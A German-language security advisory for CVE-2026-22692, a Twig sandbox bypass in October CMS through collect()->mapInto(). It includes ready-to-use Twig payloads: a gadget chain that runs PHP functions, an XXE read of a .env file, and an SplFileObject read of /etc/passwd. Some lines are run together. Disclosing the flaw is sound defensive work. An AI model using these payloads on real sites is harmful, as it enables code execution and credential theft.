
CVE-2026-22692 – Kritischer Twig-Sandbox-Bypass via collect()->mapInto(), der RCE/LFI/XXE in October CMS ermöglicht
| Feld | Details |
|---|
| CVE-ID | CVE-2026-22692 |
| Schweregrad | Mittel (CVSS:3.1 4.9) |
| Advisory | GHSA-m5qg-jc75-4jp6 |
| Betroffenes Produkt | October CMS (<= 4.1.4, <= 3.7.12) |
| Schwachstellentyp | Twig-Sandbox-Bypass -> RCE, LFI, XXE |
| Entdeckt von | Lukasz Rybak |
In der Twig-Sandbox (Safe Mode) von October CMS existiert eine kritische Schwachstelle, die es authentifizierten Benutzern mit Bearbeitungsrechten für Vorlagen ermöglicht, Sicherheitsbeschränkungen zu umgehen und beliebigen PHP-Code auszuführen (RCE) oder beliebige Dateien vom Server zu lesen (XXE/LFI).
Die Grundursache liegt in October\Rain\Support\SafeCollection. Diese Klasse implementiert das Interface CallsAnyMethod, das System\Twig\SecurityPolicy mitteilt, die standardmäßige Methoden-Whitelist für das Collection-Objekt selbst zu umgehen.
Während SafeCollection versucht, Argumente zu filtern, um die direkte Ausführung von Callables zu verhindern, blockiert es die Methode mapInto($class) nicht. Die Methode mapInto iteriert über die Collection und instanziiert den angegebenen Klassennamen:
new $class($value, $key);
Die System\Twig\SecurityPolicy nimmt die Methode __toString() auf allen Objekten explizit in die Whitelist auf. Durch Instanziieren von Psy\Readline\Hoa\Xcallable (das einen Callable umschließt) und dessen Einbettung in eine GuzzleHttp\Psr7\FnStream (die in ihrer __toString-Methode über die Eigenschaft _fn___toString eine benutzerdefinierte Funktion aufruft) kann ein Angreifer die Ausführung beliebiger PHP-Funktionen ohne Argumente (z. B. php_uname, phpinfo) auslösen, indem er das Objekt einfach in Twig ausgibt.
Die Klasse SimpleXMLElement akzeptiert eine libxml-Optionsflagge als zweites Konstruktorargument. mapInto() übergibt den Collection-Key als zweites Argument an den Konstruktor. Durch Erstellen einer Collection mit einem Key von 2 (entspricht LIBXML_NOENT) kann ein Angreifer die Substitution externer Entitäten in SimpleXMLElement aktivieren, was zu sofortigem XXE und der Möglichkeit führt, Systemdateien zu lesen.
Eine direktere Local-File-Inclusion-Schwachstelle (LFI) besteht über die native PHP-Klasse SplFileObject. Durch Instanziieren von SplFileObject mit einem Dateipfad und Lesemodus (übergeben über mapInto) erhält ein Angreifer ein traversierbares Dateiobjekt. Wird dieses Objekt an den collect()-Helfer übergeben, kommt es sofort zur Iteration (über iterator_to_array im Framework-Kern), wodurch die Richtlinie der Sandbox zur Methodenblockierung umgangen wird. Dadurch kann jede Datei gelesen werden, auf die der Webserver Zugriff hat – ohne dass XML-Unterstützung oder spezifische Vendor-Bibliotheken erforderlich sind.
CMS_SAFE_MODE=truephp_uname ausführen){% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %}
{% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %}
{% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %}
{% set methods = {'__toString': x} %}
{% set f = collect([methods]).mapInto(clsF).first() %}
System Info: {{ f }}
.env-Datei lesen){% set xml_payload = '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///var/www/html/.env">]><root>&b;</root>' %}
{# Use key '2' (LIBXML_NOENT) to enable Entity Substitution in SimpleXMLElement #}
{% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %}
FILE CONTENT (.env):
{{ x }}
/etc/passwd über SplFileObject lesen){% set target = '/etc/passwd' %}
{% set file = collect({'r': target}).mapInto('SplFileObject').first() %}
{% set content = collect(file) %}
LFI Result:
{{ content.join('') }}
Remote Code Execution (RCE), Local File Inclusion (LFI), XML-External-Entity-Injection (XXE).
/etc/passwd, Datenbankkonfiguration, .env usw.), über mehrere Vektoren (SimpleXMLElement oder SplFileObject).Dies betrifft jede October-CMS-Installation, bei der nicht vertrauenswürdige oder halb vertrauenswürdige Benutzer Zugriff auf den CMS-Vorlagen-Editor haben, was ihnen effektiv eine Rechteausweitung auf Systemadministrator-/Root-Ebene ermöglicht.
Diese CVE wurde im Rahmen koordinierter Offenlegungspraktiken (Coordinated Vulnerability Disclosure) verantwortungsvoll gemeldet. Die hier bereitgestellten Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken.